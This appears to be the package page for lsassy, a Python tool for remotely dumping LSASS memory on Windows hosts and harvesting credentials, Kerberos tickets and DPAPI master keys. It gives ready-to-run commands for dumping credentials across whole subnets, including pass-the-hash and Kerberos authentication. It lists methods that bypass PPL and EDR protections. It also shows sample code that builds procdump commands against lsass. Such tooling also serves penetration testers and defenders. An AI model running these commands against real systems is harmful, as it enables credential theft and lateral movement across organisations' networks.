Package: lsassy
lsassyPython tool to remotely extract credentials on a set of hosts. Thisblog postexplains how it works.This tool usesimpacketproject to remotely read necessary bytes in lsass dump andpypykatzto extract credentials.ChaptersDescriptionWarningBefore using this tool, read thisInstallationLsassy installationBasic usageBasic lsassy usageAdvanced usageAdvanced lsassy usage with params explainationAdd dump methodHow to add a custom lsass dump methodAcknowledgmentsKudos to these people and toolsOfficial DiscordOfficial Discord serverWarningAlthough I have made every effort to make the tool stable, traces may be left if errors occur.This tool can either leave some lsass dumps if it failed to delete it (even though it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution.Installationlsassyworks with python >= 3.7pip (Recommended)python3-mpipinstalllsassyFrom source for developmentpython3 setup.py installBasic Usagelsassyworks out of the box on multiple targets (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets)lsassy[-ddomain]-upixis-pP4ssw0rdtargets
lsassy[-ddomain]-upixis-H[LM:]NTtargetsBy default, lsassy will try to dump lsass remotely usingcomsvcs.dllmethod, either via WMI or via a remote scheduled task.Kerberoslsassycan authenticate with Kerberos. It requires a valid TGT inKRB5CCNAMEenvironment variable. Seeadvanced usagefor more details.lsassy-ktargetsExampleslsassy-dhackn.lab-upixis-pP4ssw0rd192.168.1.0/24lsassy-dhackn.lab-upixis-pP4ssw0rd192.168.1.1-10lsassy-dhackn.lab-upixis-pP4ssw0rdhosts.txtlsassy-dhackn.lab-upixis-pP4ssw0rd192.168.1.1-192.168.1.10Advanced UsageDifferent lsass dumping methods are implemented inlsassy, and some option are provided to give control to the user on how the tool will proceed.Internal workinglsassyis divided in modules+-----------+
                   |   Writer  |
                   +-----+-----+
                         |
                         |
 +----------+      +-----+-----+    +---------+
 |  Parser  |------|   Core    |----| Session |
 +----------+      +-----+-----+    +---------+
                         |
                         |
                   +-----------+
                   |    Dump   |-+
                   |  Methods  | |-+    +----------+
                   +-----+-----+ | |----|   File   |
                     +-----------+ |    +----------+
                      +------------+
                         |
                         |
                   +-----------+
                   |    Exec   |-+
                   |  Methods  | |-+
                   +-----+-----+ | |
                     +-----------+ |
                      +------------+Core moduleThis module is the orchestrator. It creates lsassy class with provided arguments and options, and then calls the different modules to retrieve credentials.Logger moduleThis module is used for logging purpose.File moduleThis is a layer built over Impacket to behave like a python built-in file object. It overrides methods like open, read, seek, or close.Dumper moduleThis module is where all the dumping logic happens. Depending on the method used, it will execute code on remote host to dump lsass using provided method.Parser moduleThis module relies on pypykatz and useslsassyfile module to remotely parse lsass dumpWriter moduleThis module handles the output part, either to the screen in different formats and/or write results to a fileDumping methodsThis tool can dump lsass in different ways.Dumping methods (-mor--method)comsvcscomsvcs_stealthdllinjectprocdumpprocdump_embeddeddumpertdumpertdllppldumpppldump_embeddedmirrordumpmirrordump_embeddedwerEDRSandBlastnanodumprdrleakdiagsilentprocessexitsqldumpercomsvcs methodThis methodonly uses built-in Windows filesto extract remote credentials. It usesminidumpfunction fromcomsvcs.dllto dumplsassprocess.Procdump methodThis method uploadsprocdump.exefrom SysInternals to dumplsassprocess.Dumpert methodThis method uploadsdumpert.exeordumpert.dllfromoutflanknlto dumplsassprocess using syscalls.PpldumpThis method uploadsppldump.exefromitm4nto dumplsassprocess and bypass PPL.MirrordumpThis method uploadsMirrordump.exefromCcobto dumplsassusing already opened handle to lsass via an LSA plugin.WERThis method uses WER technique used inPowerSploit.OptionsFor some dumping method, options are required, like procdump or dumpert path. These options can be set using--optionsor-Owith a comma separated list of options in akey=valueway.... --options key=value,foo=barFor example:lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab-mprocdump-Oprocdump_path=/opt/Sysinternals/procdump.exe
lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab-mdumpert-Odumpert_path=/opt/dumpert.exe
lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab-mdumpertdll-Odumpertdll_path=/opt/dumpert.dllParse onlyYou can choose to parse an already dumped lsass process by providing--parse-onlyswitch, alongside with--dump-pathand--dump-nameparameters.Note that if you choose this method, theremote lsass dump won't be deleted.For example:lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab--parse-only--dump-path"/Windows/Temp"--dump-name"lsass.dmp"Keep dumpIf you don't want the dump to be automatically deleted after lsassy run, you can use--keep-dump.lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab --keep-dumpKerberos tickets harvestingKerberos tickets will be extracted and saved to$HOME/.config/lsassy/ticketsinkirbiformat. You can specify output directory using-K [directory]or--kerberos-dir [directory]parameter. If this directory doesn't exist, the tool will attempt to create it before outputing tickets.lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab-K'/tmp/kerberos_tickets'DPAPI Master Keys harvestingDPAPI Master Keys will be extracted and saved to$HOME/.config/lsassy/masterkeys.txtin{GUID}:SHA1format. You can specify masterkey file path using-M [path]or--masterkeys-file [path]parameter. If the file path doesn't exist, the tool will attempt to create it before creating the file.lsassy-dhackn.lab-upixis-pP4ssw0rddc01.hackn.lab-M'/tmp/keys.txt'Authentication methodsThere are three different ways to authenticate against remote targets usinglsassy. The only requirement is that the user needs to have local administration rights on the remote targets.Cleartext credentialsFirst and most obvious one is by using clear text credentials. It can either be a local or domain user.## Local userlsassy-upixis-pP4ssw0rdserver01.hackn.lab## Domain userlsassy-dhackn.lab-ujsnow-pWinterIsComingserver01.hackn.labPass-the-hashIt is also possible to authenticate using user's NT hash. You can either provide LM:NT or only NT version.lsassy-dhackn.lab-ujsnow-H38046f6aa4f7283f9a6b7e1575452109server01.hackn.lab
aad3b435b51404eeaad3b435b51404ee## Orlsassy-dhackn.lab-ujsnow-Haad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109server01.hackn.labKerberosYou can also authenticate using Kerberos. For this to work, you will need to have a valid ticket saved on disk, and ticket's path needs to be provided inKRB5CCNAMEenvironment variable. For testing purpose, this can be achieved using impacketgetTGT.pytool.getTGT.pyhackn.lab/jsnow:WinterIsComing-dc-ipdc01.hackn.labThis command will request a TGT and save it injsnow.ccachefile.In order forlsassyto know which ticket to use, you'll need to explicitly set the ticket's path inKRB5CCNAMEenvironment variable.exportKRB5CCNAME="/home/pixis/jsnow.ccache"When it's correctly configured, you should be able to use that ticket for authentication using-kparameter. Since you're using this ticket, you don't need to provide other authentication information anymore.lsassy-kserver01.hackn.labNote that for this to work, you will need a valid DNS configuration, either dynamic with a valid DNS server, or static usinghostsfile. Moreover, you should always use FQDN when generating tickets and usinglsassy, i.e. useserver01.hackn.labinstead ofserver01.OutputScreen formatlsassycan output credentials in different formats using--formator-fflagPrettyDefault format, nice and clean credentials are displayed with golden colors. In credz we trust.lsassy [-d domain] -u pixis -p P4ssw0rd --format pretty targetsJsonDisplays result in json format. Can be useful when called from a scriptlsassy [-d domain] -u pixis -p P4ssw0rd --format json targetsGrepGrepable output that can be useful in one-linerslsassy [-d domain] -u pixis -p P4ssw0rd --format grep targetsNoneDoesn't display the result. Useful when using--outfilelsassy [-d domain] -u pixis -p P4ssw0rd targets --format noneSave in a fileSaves the result in a grepable format in provided file (--outfileor-o)lsassy [-d domain] -u pixis -p P4ssw0rd targets --format json --outfile /tmp/credentials.txtResults filteringIf you want to only get users credentials, filtering out computers credentials, you can use--usersflaglsassy [-d domain] -u pixis -p P4ssw0rd targets --usersIf you don't want tickets to be exported, you can use--no-ticketsflaglsassy [-d domain] -u pixis -p P4ssw0rd targets --no-ticketsIf you don't want masterkeys to be exported, you can use--no-masterkeysflaglsassy [-d domain] -u pixis -p P4ssw0rd targets --no-masterkeysThread managementYou can decide how many thread you want to use [1-256] using--threadsparameter.lsassy [-d domain] -u pixis -p P4ssw0rd targets --threads 32Add dump methodThere is adummy.py.tplfile indumpmethoddirectory. This file contains basic structure to create a new dump method functionnality.get_commandsThis method is mandatory as it is the method that will be used to execute code on the remote host in order to dump lsass in some way. Itmustreturn a dictionnary with two itemscmdandpwsh.cmdcommand is a command understood bycmd.exeutilitypwshcommand is a command understood by powershell (most of the time,cmdcommand is also valid in powershell)return{"cmd":cmd_command,"pwsh":pwsh_command}DependenciesThere is aDependencyclass that can be used to easily upload files needed for dump method, likeprocdump.exefrom sysinternals. Two methods can be used :prepare_dependenciesto check if all parameters were provided by the user to locally find the file on user's disk and upload it, and then actually upload the fileclean_dependenciesto try and remove uploaded files(Optionnal) prepareThis method will be calledbeforeexecuting commands provided byget_commands. It can be used to upload files or check stuff.(Optionnal) cleanThis method will be calledafterexecuting commands provided byget_commands. It can be used to delete uploaded files or clean stuff.ExampleHere is procdump example with some commentsfromlsassy.dumpmethodimportIDumpMethod,DependencyclassDumpMethod(IDumpMethod):"""If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to Falseand uncomment 'dump_name' to provide expected dumpfile name on remote system."""custom_dump_name_support=True# Default: True# dump_name              = ""    # Default: Random dumpfile name"""If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to Falseand uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.If your dumping tool can have a custom dump name but not a custom dump extension, provide the dump extension in dump_ext variableIn this example, procdump.exe will produce a dump wherever we want, with a name we choose, but will always add a .dmp extension."""custom_dump_path_support=True# Default: True# dump_share             = ""    # Default: "C$"# dump_path              = ""    # Default: "\\Windows\\Temp\\"dump_ext="dmp"def__init__(self,session,timeout):"""__init__ is overloaded to create some instance variables"""super().__init__(session,timeout)"""This module requires procdump.exe to be uploaded on the remote server before being executed.So we add procdump as a Dependency. First argument is a name for our dependency (can be arbitrary),and second argument is default executable name on local user's disk."""self.procdump=Dependency("procdump","procdump.exe")defprepare(self,options):"""Prepare method is overloaded so that we are able to- check if mandatory parameters are provided- upload procdump on the remote host.All this can be done using prepare_dependencies method from our Dependency object"""returnself.prepare_dependencies(options,[self.procdump])defclean(self):"""Clean method is overloaded so that we are able to delete our dependency if it was uploadedThe clean_dependencies method will do this for us."""self.clean_dependencies([self.procdump])defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):"""get_commands method is overloaded as it is mandatory.Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.The get_remote_path method of our Dependency object is used to get the correct remote pathof procdump on our target."""cmd_command="""for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do{}-accepteula -o -ma %J{}{}""".format(self.procdump.get_remote_path(),self.dump_path,self.dump_name)pwsh_command="""{}-accepteula -o -ma (Get-Process lsass).Id{}{}""".format(self.procdump.get_remote_path(),self.dump_path,self.dump_name)return{"cmd":cmd_command,"pwsh":pwsh_command}You can check dummy class for more comments and/or informations.AcknowledgmentsKodoquefor lsassy nameImpacketSkelSecfor Pypykatz, but also for his patience and helpmpgnfor his help and ideasCn33lizforDumpertitm4nforPPLDumpCcobforMirrorDumpMatt GraeberforWER TechniqueMrUn1k0d3rforSMB Service Modification techniqueth3m4ksandQazeerforEDRSandBlasts4ntiago_pfornanodump0gtweetforRdrleakdiag techniqueLuis RochaforSQLDumper techniqueAsaf GilboaforLsassSilentProcessExit techniqueOfficial Discordhttps://discord.hackndo.comKnown bugsCompiled versions don't include table_output because of some weird error with rich libraryStar History